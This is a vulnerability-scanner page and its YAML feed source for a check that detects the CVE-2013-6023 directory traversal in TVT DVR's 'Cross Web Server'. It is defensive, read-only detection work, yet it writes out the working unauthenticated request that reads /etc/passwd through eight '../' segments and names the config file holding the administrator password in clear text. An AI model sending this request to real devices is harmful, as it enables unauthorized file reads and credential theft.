TVT DVR — 1 vulnerability check

noctis ships 1 vulnerability check for TVT DVR, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

TVT DVR Cross Web Server Directory Traversal

CVECVE-2013-6023
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/tvt-dvr/CVE-2013-6023.yaml

Tests TVT DVRs (TD-2308SS-B and models sharing its firmware, up to 3.2.0.P-3520A-00) for the directory traversal in their embedded "Cross Web Server". The feed only runs against a web server whose reply to GET / carries the "Server: Cross Web Server" header. It then requests /etc/passwd through eight "../" segments placed directly in the URL path, without any login, and sent verbatim so the segments reach the server. A root (uid 0) passwd line in the reply confirms that files outside the web root can be read. A control request for an absent random file must answer without any passwd line, so a server that returns the same content on every request is not reported. Only the world-readable /etc/passwd is read, and its password field is redacted from the evidence. On a vulnerable DVR the same flaw exposes the configuration file holding the administrator password in clear text.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Checks root_r.banner for (?mi)^Server:[ \t]*Cross Web Server
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../../../../etc/passwd HTTP/1.0
  4. Checks passwd_r.banner for (?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\r\n]*:0:([01]):[^:\r\n]*:([^:\r\n]*)…
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../../../../etc/passwd.noctis-absent-{{oob_token}} HTTP/1.0
  7. Checks ctrl_r.banner for (?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]:
  8. Checks proof for ^(root|<redacted>):<redacted>:0:[01]: → finding QoD 75: TVT DVR Cross Web Server Directory Traversal (CVE-2013-6023)

References:

Feed source — tests/vulnerabilities/tvt-dvr/CVE-2013-6023.yaml
# TVT DVR "Cross Web Server" directory traversal — CVE-2013-6023
#
# The embedded web server ("Server: Cross Web Server") of the TVT TD-2308SS-B
# DVR, firmware 3.2.0.P-3520A-00 and earlier (and TVT OEM models sharing the
# firmware), serves files from the flash file system without removing "../"
# from the request path (CERT/CC VU#785838). An unauthenticated attacker reads
# any file, including /mnt/mtd/config/config.dat which holds the administrator
# password in clear text.
#
# Detection (benign, read-only):
#   1. GET / — the reply must carry "Server: Cross Web Server" (same gate as the
#      source check: the traversal path itself is generic, so the CVE is only
#      attributed to this server).
#   2. GET /../(x8)etc/passwd sent verbatim through tcp_connect (an HTTP client
#      would resolve the "../" before sending) and match a uid-0 passwd line.
#   3. Control: the same request for an absent random file must answer and carry
#      no passwd line (fail-closed: no control reply → no finding).
# Only /etc/passwd is read, never config.dat. Embedded firmwares keep the
# root crypt hash in /etc/passwd, so the matched line is rebuilt with the
# password field (and a non-root account name, gecos and home) redacted before
# it reaches the finding. QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - absent-file control, so a server returning the same file on every request
#     (tarpit / honeypot) is not reported;
#   - any uid-0 account counts (embedded firmwares often rename root), and the
#     password hash never reaches the evidence;
#   - only the Linux file is probed: the DVR firmware is embedded Linux, the
#     Windows files of the source check cannot exist there.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_tvt_dvr_dir_trav_vuln.nasl
# (GPL-2.0-only).
uid: d6058ba1-e02c-450e-a915-3141e4bab443
name: "TVT DVR Cross Web Server Directory Traversal (CVE-2013-6023)"
description: |
  Tests TVT DVRs (TD-2308SS-B and models sharing its firmware, up to
  3.2.0.P-3520A-00) for the directory traversal in their embedded "Cross Web
  Server". The feed only runs against a web server whose reply to GET / carries
  the "Server: Cross Web Server" header. It then requests /etc/passwd through
  eight "../" segments placed directly in the URL path, without any login, and
  sent verbatim so the segments reach the server. A root (uid 0) passwd line in
  the reply confirms that files outside the web root can be read. A control
  request for an absent random file must answer without any passwd line, so a
  server that returns the same content on every request is not reported. Only
  the world-readable /etc/passwd is read, and its password field is redacted
  from the evidence. On a vulnerable DVR the same flaw exposes the
  configuration file holding the administrator password in clear text.
cves: [CVE-2013-6023]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [tvt, dvr, cctv, cross-web-server, iot, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6023"
  - "https://kb.cert.org/vuls/id/785838"
  - "https://www.exploit-db.com/exploits/29959"
  # OpenVAS/Greenbone NASL 2013/gb_tvt_dvr_dir_trav_vuln.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-root-r
    action: set_var
    var_name: root_r
    var_value: {connected: false, banner: ""}

  - id: init-xws-m
    action: set_var
    var_name: xws_m
    var_value: {matched: false, captures: []}

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {connected: false, banner: ""}

  - id: init-passwd-m
    action: set_var
    var_name: passwd_m
    var_value: {matched: false, captures: []}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Gate: the web server must be the DVR's "Cross Web Server" ────────────
  - id: root-page
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: root_r

  - id: server-header
    action: match
    source: root_r.banner
    pattern: "(?mi)^Server:[ \\t]*Cross Web Server"
    condition: 'root_r.connected == true && type_of(root_r.banner) == "string"'
    store_as: xws_m

  # ── Read /etc/passwd through "../" segments in the path (sent verbatim) ──
  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: "xws_m.matched == true"
    store_as: passwd_r

  # No on_match: the raw reply (password hash) must not become evidence.
  # Captures: account name, gid, home, shell of a uid-0 line.
  - id: passwd-content
    action: match
    source: passwd_r.banner
    pattern: "(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
    condition: 'xws_m.matched == true && passwd_r.connected == true && type_of(passwd_r.banner) == "string"'
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 3 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2] + ":" + passwd_m.captures[3]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>:" + passwd_m.captures[3]
        }
      } else { "" }
    store_as: proof

  # ── Control: same request, absent random file — must NOT carry a passwd
  # line. The absent name still contains "etc/passwd", so a honeypot that keys
  # a fake file on that substring answers it too.
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../../../../etc/passwd.noctis-absent-{{oob_token}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(?m)(?:^|>)[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:"
    condition: 'proof != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report
    action: match
    source: proof
    pattern: "^(root|<redacted>):<redacted>:0:[01]:"
    condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
    on_match:
      finding:
        title: "TVT DVR Cross Web Server Directory Traversal (CVE-2013-6023)"
        description: "An unauthenticated GET request with \"../\" segments in the URL path to the DVR's Cross Web Server returned the content of /etc/passwd, while the same request for an absent file did not. Any file on the DVR can be read this way, including /mnt/mtd/config/config.dat, which holds the administrator password in clear text."
        remediation: "Update the DVR firmware to a release later than 3.2.0.P-3520A-00 that fixes the traversal (contact TVT or the OEM vendor), change the administrator password, and restrict access to the DVR web interface to trusted networks."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /../(x8)etc/passwd on a Cross Web Server returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub